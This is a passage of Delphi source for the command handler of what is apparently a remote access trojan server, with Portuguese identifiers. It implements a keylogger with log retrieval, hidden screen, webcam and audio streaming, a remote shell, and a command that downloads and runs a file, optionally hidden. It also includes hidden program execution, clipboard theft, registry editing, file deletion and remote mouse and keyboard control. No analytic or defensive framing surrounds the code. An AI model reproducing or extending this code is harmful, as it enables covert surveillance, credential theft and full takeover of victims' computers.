TempStr := CriarLista(true);
//LiberarDllActivePort;
_EnviarStream(ClientSocket, LISTARPORTAS + '|' +
LISTADEPORTASPRONTA + '|' +
TempStr + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = FINALIZARCONEXAO then
begin
CarregarDllActivePort;
delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
tempstr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
tempstr2 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
tempstr3 := copy(Comando, 1, pos('|', Comando) - 1);
if CloseTcpConnect(tempstr, tempstr2, strtoint(tempstr1), strtoint(tempstr3)) = true then
begin
//LiberarDllActivePort;
_EnviarStream(ClientSocket, LISTARPORTAS + '|' +
FINALIZARCONEXAO + '|' +
tempstr + '|' +
tempstr2 + '|' +
'TRUE' + '|');
end else
begin
//LiberarDllActivePort;
_EnviarStream(ClientSocket, LISTARPORTAS + '|' +
FINALIZARCONEXAO + '|' +
tempstr + '|' +
tempstr2 + '|' +
'FALSE' + '|');
end;
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = FINALIZARPROCESSOPORTAS then
begin
delete(comando, 1, pos('|', Comando));
try
TempInt := StrToInt(copy(Comando, 1, pos('|', Comando) - 1));
except
end;
if TerminarProceso(TempInt) = true then
_EnviarStream(ClientSocket, LISTARPORTAS + '|' +
FINALIZARPROCESSOPORTAS + '|' +
'Y|' +
inttostr(TempInt) + '|') else
_EnviarStream(ClientSocket, LISTARPORTAS + '|' +
FINALIZARPROCESSOPORTAS + '|' +
'N|' +
inttostr(TempInt) + '|');
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTDEVICES then
begin
TempStr := FillDeviceList(DeviceClassesCount, DevicesCount);
_EnviarStream(ClientSocket, LISTDEVICES + '|' +
LISTADEDISPOSITIVOSPRONTA + '|' +
inttostr(DeviceClassesCount) + '|' +
inttostr(DevicesCount) + '|' +
TempStr);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTEXTRADEVICES then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := ShowDeviceAdvancedInfo(strtoint(copy(Comando, 1, pos('|', Comando) - 1)));
_EnviarStream(ClientSocket, LISTEXTRADEVICES + '|' +
LISTADEDISPOSITIVOSEXTRASPRONTA + '|' +
TempStr);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CONFIGURACOESDOSERVER then
begin
TempStr := GerarRelatorioConfig;
_EnviarStream(ClientSocket, CONFIGURACOESDOSERVER + '|' +
CONFIGURACOESDOSERVER + '|' +
TempStr);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = EXECUTARCOMANDOS then
begin
delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
tempstr1 := '';
if pos(' ', tempstr) > 1 then
begin
tempstr1 := tempstr;
tempstr := copy(tempstr1, 1, pos(' ', tempstr1) - 1);
delete(tempstr1, 1, pos(' ', tempstr1));
end;
ExecuteCommand(tempstr, tempstr1, sw_normal);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = OPENWEB then
begin
Delete(Comando, 1, pos('|', Comando));
tempstr := copy(Comando, 1, pos('|', Comando) - 1);
try
Myshellexecute(0, 'open', pchar(getdefaultbrowser), pchar(tempstr), '', SW_SHOWMAXIMIZED);
except
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DOWNEXEC then
begin
Delete(Comando, 1, pos('|', Comando));
tempstr3 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
tempstr1 := copy(Comando, 1, pos('|', Comando) - 1);
tempstr2 := mytempfolder + extractfilename(tempstr1);
try
MyURLDownloadToFile(nil, pchar(tempstr1), pchar(tempstr2), 0, nil);
if tempstr3 = 'Y' then Myshellexecute(0, 'open', pchar(tempstr2), nil, pchar(mytempfolder), sw_hide) else
Myshellexecute(0, 'open', pchar(tempstr2), nil, pchar(mytempfolder), sw_normal);
except
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = OBTERCLIPBOARD then
begin
if GetClipboardText(0, TempStr) = true then
begin
_EnviarStream(ClientSocket, OBTERCLIPBOARD + '|' +
OBTERCLIPBOARD + '|' +
TempStr);
end else
if GetClipboardFiles(TempStr) = true then
begin
_EnviarStream(ClientSocket, OBTERCLIPBOARD + '|' +
OBTERCLIPBOARDFILES + '|' +
TempStr);
end else
_EnviarStream(ClientSocket, OBTERCLIPBOARD + '|' +
OBTERCLIPBOARD + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DEFINIRCLIPBOARD then
begin
try
OpenClipboard(0);
EmptyClipboard;
finally
CloseClipboard;
end;
Delete(Comando, 1, pos('|', Comando));
SetClipboardText(Comando);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LIMPARCLIPBOARD then
begin
try
OpenClipboard(0);
EmptyClipboard;
finally
CloseClipboard;
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = SHELLATIVAR then
begin
if ShellThreadID <> 0 then
begin
ShellGetComando('exit');
sleep(100);
ShellGetComando('');
//closethread(ShellThreadID);
ShellThreadID := 0;
end;
ShellGetVariaveis(RandomStringClient, ClientSocket.RemoteAddress, senha, ClientSocket.RemotePort);
ShellThreadID := CommandThreadId;
ShellThread;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = SHELLDESATIVAR then
begin
if ShellThreadID <> 0 then
begin
ShellGetComando('exit');
sleep(100);
ShellGetComando('');
//closethread(ShellThreadID);
ShellThreadID := 0;
_EnviarStream(ClientSocket, SHELLRESPOSTA + '|' +
SHELLDESATIVAR + '|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = SHELLRESPOSTA then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
ShellGetComando(TempStr);
if upperstring(TempStr) = 'EXIT' then
begin
sleep(100);
ShellGetComando('');
_EnviarStream(ClientSocket, SHELLRESPOSTA + '|' +
SHELLDESATIVAR + '|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTARCHAVES then
begin
if ListarChavesRegistro <> 0 then closethread(ListarChavesRegistro);
ListarChavesRegistro := CommandThreadId;
Delete(Comando, 1, pos('|', Comando));
NumArrayRegistro := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
Comando := copy(Comando, 1, pos('|', Comando) - 1);
TempStr := ListarClaves(Comando);
ToSend := REGISTRO + '|' + LISTARCHAVES + '|' + NumArrayRegistro + '|' + TempStr;
_EnviarStream(ClientSocket, ToSend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = UnitComandos.LISTARVALORES then
begin
if ListarValoresRegistro <> 0 then closethread(ListarValoresRegistro);
ListarValoresRegistro := CommandThreadId;
Delete(Comando, 1, pos('|', Comando));
Comando := copy(Comando, 1, pos('|', Comando) - 1);
ToSend := REGISTRO + '|' + UnitComandos.LISTARVALORES + '|' + ListarValores(Comando);
_EnviarStream(ClientSocket, ToSend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = RENAMEKEY then
begin
Delete(Comando, 1, pos('|', Comando));
NumArrayRegistro := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
if RenameRegistryItem(TempStr, TempStr1) = true then
begin
sleep(5);
ToSend := REGISTRO + '|' + RENAMEKEY + '|' + NumArrayRegistro + '|' + '272' + '|"' + TempStr + ' <---> ' + TempStr1 + '"|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
sleep(5);
ToSend := REGISTRO + '|' + RENAMEKEY + '|' + NumArrayRegistro + '|' + '273' + '|"' + TempStr + ' <---> ' + TempStr1 + '"|';
_EnviarStream(ClientSocket, ToSend);
end;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = NOVONOMEVALOR then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr2 := Copy(Comando, 1, Pos('|', Comando) - 1);
if RenombrarClave(PChar(TempStr), PChar(TempStr1), PChar(TempStr2)) then
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '272' + '|"' + TempStr1 + ' <---> ' + TempStr2 + '"|';
_EnviarStream(ClientSocket, ToSend);
end
else
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '273' + '|"' + TempStr1 + ' <---> ' + TempStr2 + '"|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = APAGARREGISTRO then
begin
Delete(Comando, 1, pos('|', Comando));
Comando := copy(Comando, 1, pos('|', Comando) - 1);
if BorraClave(Comando) then
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '274' + '|"' + Comando + '"|';
_EnviarStream(ClientSocket, ToSend);
end
else
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '275' + '|"' + Comando + '"|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = NOVACHAVE then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1);
Tempstr4 := tempstr + tempstr1;
if AniadirClave(pchar(Tempstr4), '', 'clave') then
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '276' + '|"' + Tempstr4 + '"|';
_EnviarStream(ClientSocket, ToSend);
end
else
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '277' + '|"' + Tempstr4 + '"|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = ADICIONARVALOR then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, Pos('|', Comando));
if AniadirClave(TempStr, Copy(Comando, 1, Pos('|', Comando) - 1), TempStr1) then
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '278' + '|"' + Copy(Comando, 1, Pos('|', Comando) - 1) + '"|';
_EnviarStream(ClientSocket, ToSend);
end
else
begin
sleep(5);
ToSend := REGISTRO + '|' + REGISTRO + '|' + '279' + '|"' + Copy(Comando, 1, Pos('|', Comando) - 1) + '"|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYLOGGER then
begin
if KeyloggerThread <> 0 then
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERATIVAR + '|') else
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERDESATIVAR + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYLOGGERATIVAR then
begin
if KeyloggerThread <> 0 then
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERATIVAR + '|') else
begin
KeyloggerThread := StartThread(@startkeylogger);
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERATIVAR + '|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYLOGGERDESATIVAR then
begin
if KeyloggerThread = 0 then
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERDESATIVAR + '|') else
begin
CloseThread(KeyloggerThread);
KeyloggerThread := 0;
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERDESATIVAR + '|');
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYLOGGERGETLOG then
begin
if (MyGetFileSize(LogsFile) > 0) then
begin
TempStr := LogsFile + '.tmp';
copyfile(pchar(LogsFile), pchar(TempStr), false);
TempInt := MyGetFileSize(LogsFile);
EnviarArquivo(ClientSocket, KEYLOGGER + '|' + KEYLOGGERGETLOG + '|', TempStr, TempInt, 0, false);
Mydeletefile(TempStr);
while true do sleep(high(integer));
end else
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERVAZIO + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYLOGGERERASELOG then
begin
MyDeleteFile(LogsFile);
DecryptedLog := '';
LoggedKeys := '';
_EnviarStream(ClientSocket, KEYLOGGER + '|' + KEYLOGGER + '|' + KEYLOGGERVAZIO + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYLOGGERSEARCH then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
if pos(TempStr, DecryptedLog) > 0 then _EnviarStream(ClientSocket, KEYLOGGERSEARCHOK + '|');
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESKTOP then
begin
DC1 := GetDC(GetDesktopWindow);
EixoX := GetDeviceCaps(DC1, HORZRES);
EixoY := GetDeviceCaps(DC1, VERTRES);
ReleaseDC(GetDesktopWindow, DC1);
_EnviarStream(ClientSocket, DESKTOP + '|' + DESKTOPRATIO + '|' + inttostr(EixoX) + '|' + inttostr(EixoY) + '|', true);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESKTOPPREVIEW then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := Copy(Comando, 1, Pos('|', Comando) - 1); // qualidade
Delete(Comando, 1, Pos('|', Comando));
TempStr1 := Copy(Comando, 1, Pos('|', Comando) - 1); // eixo X
Delete(Comando, 1, Pos('|', Comando));
TempStr2 := Copy(Comando, 1, Pos('|', Comando) - 1); // eixo Y
Delete(Comando, 1, Pos('|', Comando));
ToSend := GetDesktopImage(strtoint(TempStr), strtoint(TempStr1), strtoint(TempStr2));
_EnviarStream(ClientSocket, DESKTOP + '|' + DESKTOPPREVIEW + '|' + ToSend);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESKTOPGETBUFFER then
begin
//if DesktopCS <> nil then DesktopCS.Disconnect;
Delete(Comando, 1, pos('|', Comando));
DesktopQuality := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
EixoXDesktop := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
EixoYDesktop := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
DesktopIntervalo := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
DesktopCS := TClientSocket.Create;
Tentativa := 0;
while (DesktopCS.Connected = false) and (Tentativa < 10) do
begin
DesktopCS.Connect(ClientSocket.RemoteAddress, ClientSocket.RemotePort);
sleep(10);
inc(Tentativa);
end;
EnviarTexto(DesktopCS, senha + '|Y|' + RESPOSTA + '|' + RandomStringClient + '|' + DESKTOP + '|' + DESKTOPGETBUFFER + '|');
sleep(1000);
while (DesktopCS.Connected = true) and (ClientSocket.Connected = true) do
begin
if DesktopIntervalo <> 0 then sleep(DesktopIntervalo * 1000) else sleep(100);
TempStr := GetDesktopImage(DesktopQuality, EixoXDesktop, EixoYDesktop);
EnviarTexto(DesktopCS, TempStr);
processmessages;
end;
sleep(1000);
try
DesktopCS.Destroy;
except
end;
while true do processmessages;
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESKTOPSETTINGS then
begin
Delete(Comando, 1, pos('|', Comando));
DesktopQuality := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
EixoXDesktop := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
EixoYDesktop := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
DesktopIntervalo := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = MOUSEPOSITION then
begin
Delete(Comando, 1, pos('|', Comando));
Point.X := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
Point.Y := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
MouseButton := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
ClientToScreen(strtoint(copy(Comando, 1, pos('|', Comando) - 1)), Point);
Delete(Comando, 1, pos('|', Comando));
DC := GetDC(GetDesktopWindow);
Point.X := Round(Point.X * (65535 / GetDeviceCaps(DC, 8)));
Point.Y := Round(Point.Y * (65535 / GetDeviceCaps(DC, 10)));
ReleaseDC(GetDesktopWindow, DC);
mouse_event(MOUSEEVENTF_MOVE or MOUSEEVENTF_ABSOLUTE, Point.X, Point.Y, 0, 0);
mouse_event(MouseButton, 0, 0, 0, 0);
Point.X := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
Point.Y := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
MouseButton := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
delay := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
sleep(delay);
DC := GetDC(GetDesktopWindow);
Point.X := Round(Point.X * (65535 / GetDeviceCaps(DC, 8)));
Point.Y := Round(Point.Y * (65535 / GetDeviceCaps(DC, 10)));
ReleaseDC(GetDesktopWindow, DC);
mouse_event(MOUSEEVENTF_MOVE or MOUSEEVENTF_ABSOLUTE, Point.X, Point.Y, 0, 0);
mouse_event(MouseButton, 0, 0, 0, 0);
sleep(1000);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = KEYBOARDKEY then
begin
delete(Comando, 1, pos('|', Comando));
sendkeys(Comando);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WEBCAMSETTINGS then
begin
Delete(Comando, 1, pos('|', Comando));
WebcamQuality := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
WebcamIntervalo := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
CloseHandle(CommandThreadId);
end else
if (copy(Comando, 1, pos('|', Comando) - 1) = WEBCAMGETBUFFER) or
(copy(Comando, 1, pos('|', Comando) - 1) = WEBCAM) then
begin
if copy(Comando, 1, pos('|', Comando) - 1) = WEBCAM then
begin
if WebcamCS <> nil then WebcamCS.Disconnect(erro21);
if FCapHandle <> 0 then
begin
DestroyCapture;
FecharJanela(WebcamWindow);
end;
CommandThreadId := StartThread(@initCapture);
sleep(1000);
if DriverEmUso = true then _EnviarStream(ClientSocket, WEBCAM + '|' + WEBCAMINACTIVE + '|') else
_EnviarStream(ClientSocket, WEBCAM + '|' + WEBCAMACTIVE + '|', true);
exit;
end;
Delete(Comando, 1, pos('|', Comando));
WebcamQuality := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
WebcamIntervalo := strtoint(copy(Comando, 1, pos('|', Comando) - 1));
Delete(Comando, 1, pos('|', Comando));
WebcamCS := TClientSocket.Create;
Tentativa := 0;
while (WebcamCS.Connected = false) and (Tentativa < 10) do
begin
WebcamCS.Connect(ClientSocket.RemoteAddress, ClientSocket.RemotePort);
sleep(10);
inc(Tentativa);
end;
EnviarTexto(WebcamCS, senha + '|Y|' + RESPOSTA + '|' + RandomStringClient + '|' + WEBCAM + '|' + WEBCAMGETBUFFER + '|');
sleep(1000);
while (WebcamCS.Connected = true) and (ClientSocket.Connected = true) and (FCapHandle <> 0) do
begin
if WebcamIntervalo <> 0 then sleep(WebcamIntervalo * 1000) else sleep(100);
TempStr := MyTempFolder + inttostr(gettickcount) + '.bmp';
if FCapHandle <> 0 then
if (SendMessage(FCapHandle, WM_CAP_GRAB_FRAME,0,0) <> 0) and
(SendMessage(FCapHandle, WM_CAP_SAVEDIB, wparam(0), lparam(PChar(TempStr))) <> 0) then
begin
SendMessage(FCapHandle, WM_CAP_SET_PREVIEW, -1, 0);
if fileexists(TempStr) then
EnviarTexto(WebcamCS, BMPFiletoJPGString(TempStr, WebcamQuality));
MyDeleteFile(TempStr);
end;
processmessages;
end;
sleep(1000);
if FCapHandle <> 0 then
begin
DestroyCapture;
FecharJanela(WebcamWindow);
end;
try
WebcamCS.Destroy;
except
end;
while true do processmessages;
end else
if copy(Comando, 1, pos('|', Comando) - 1) = WEBCAMINACTIVE then
begin
if FCapHandle <> 0 then
begin
DestroyCapture;
FecharJanela(WebcamWindow);
end;
sleep(1000);
CloseHandle(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = AUDIOGETBUFFER then
begin
if AudioThreadId <> 0 then
begin
try
FinalizarAudio;
CloseThread(AudioThreadId);
except
end;
AudioThreadId := 0;
end;
Delete(Comando, 1, pos('|', Comando));
tempstr1 := copy(Comando, 1, pos('|', Comando) - 1);
Delete(Comando, 1, pos('|', Comando));
tempstr2 := copy(Comando, 1, pos('|', Comando) - 1);
begin
ZeroMemory(@ThreadInfoAudio, sizeof(TThreadInfoAudio));
ThreadInfoAudio.Password := senha;
ThreadInfoAudio.host := ClientSocket.RemoteAddress;
ThreadInfoAudio.port := ClientSocket.RemotePort;
ThreadInfoAudio.IdentificacaoNoCliente := RandomStringClient;
ThreadInfoAudio.Sample := strtoint(Tempstr2);
ThreadInfoAudio.Channel := strtoint(Tempstr1);
CarregarVariaveisAudio(ThreadInfoAudio);
AudioThreadId := CommandThreadId;
ThreadedTransferAudio(nil);
while true do processmessages;
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = AUDIOSTOP then
begin
if AudioThreadId <> 0 then
begin
try
FinalizarAudio;
CloseThread(AudioThreadId);
except
end;
AudioThreadId := 0;
end;
closethread(CommandThreadId);
end else
if Copy(Comando, 1, pos('|', Comando) - 1) = LISTAR_DRIVES then
begin
TempStr := GetDrives;
ToSend := FILEMANAGER + '|' + LISTAR_DRIVES + '|' + TempStr;
_EnviarStream(ClientSocket, Tosend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = LISTAR_ARQUIVOS then
begin
Delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
TempStr1 := ListarArquivos(TempStr);
if TempStr1 = '' then ToSend := FILEMANAGER + '|' + DIRMANAGERERROR + '|' + TempStr + '|' else
ToSend := FILEMANAGER + '|' + LISTAR_ARQUIVOS + '|' + TempStr1;
_EnviarStream(ClientSocket, Tosend);
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = EXEC_NORMAL then
begin
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
if tempstr2 = ' ' then tempstr2 := '';
try
if MyShellExecute(0, 'open', pchar(TempStr1), pchar(tempstr2), nil, SW_NORMAL) <= 32 then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '318' + '|';
_EnviarStream(ClientSocket, Tosend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '319' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
except
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '318' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = EXEC_INV then
begin
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
if tempstr2 = ' ' then tempstr2 := '';
try
if MyShellExecute(0, 'open', pchar(TempStr1), pchar(tempstr2), nil, SW_HIDE) <= 32 then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '318' + '|';
_EnviarStream(ClientSocket, Tosend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '319' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
except
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '318' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DELETAR_DIR then
begin
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
if DeleteFolder(pchar(TempStr1)) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '320' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '321' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DELETAR_ARQ then
begin
delete(Comando, 1, pos('|', Comando));
Tempstr1 := copy(Comando, 1, pos('|', Comando) - 1);
if MyDeleteFile(pchar(Tempstr1)) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '320' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '321' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = RENOMEAR_DIR then
begin
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
if MyRenameFile_Dir(TempStr1, TempStr2) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '--->' + TempStr2 + '|' + '322' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '--->' + TempStr2 + '|' + '323' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = RENOMEAR_ARQ then
begin
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
delete(Comando, 1, pos('|', Comando));
TempStr2 := copy(Comando, 1, pos('|', Comando) - 1);
if MyRenameFile_Dir(TempStr1, TempStr2) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '--->' + TempStr2 + '|' + '322' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '--->' + TempStr2 + '|' + '323' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = CRIAR_PASTA then
begin
delete(Comando, 1, pos('|', Comando));
TempStr1 := copy(Comando, 1, pos('|', Comando) - 1);
if CreateDirectory(pchar(TempStr1), nil) = true then
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '324' + '|';
_EnviarStream(ClientSocket, ToSend);
end else
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr1 + '|' + '325' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
closethread(CommandThreadId);
end else
if copy(Comando, 1, pos('|', Comando) - 1) = DESKTOP_PAPER then
begin
delete(Comando, 1, pos('|', Comando));
TempStr := copy(Comando, 1, pos('|', Comando) - 1);
SaveAnyImageToBMPFile(TempStr, TempStr1);
try
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, pchar(TempStr1), SPIF_SENDCHANGE);
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr + '|' + '326' + '|';
_EnviarStream(ClientSocket, ToSend);
except
begin
ToSend := FILEMANAGER + '|' + MENSAGENS + '|' + TempStr + '|' + '327' + '|';
_EnviarStream(ClientSocket, ToSend);
end;
end;
closethread(CommandThreadId);
end else
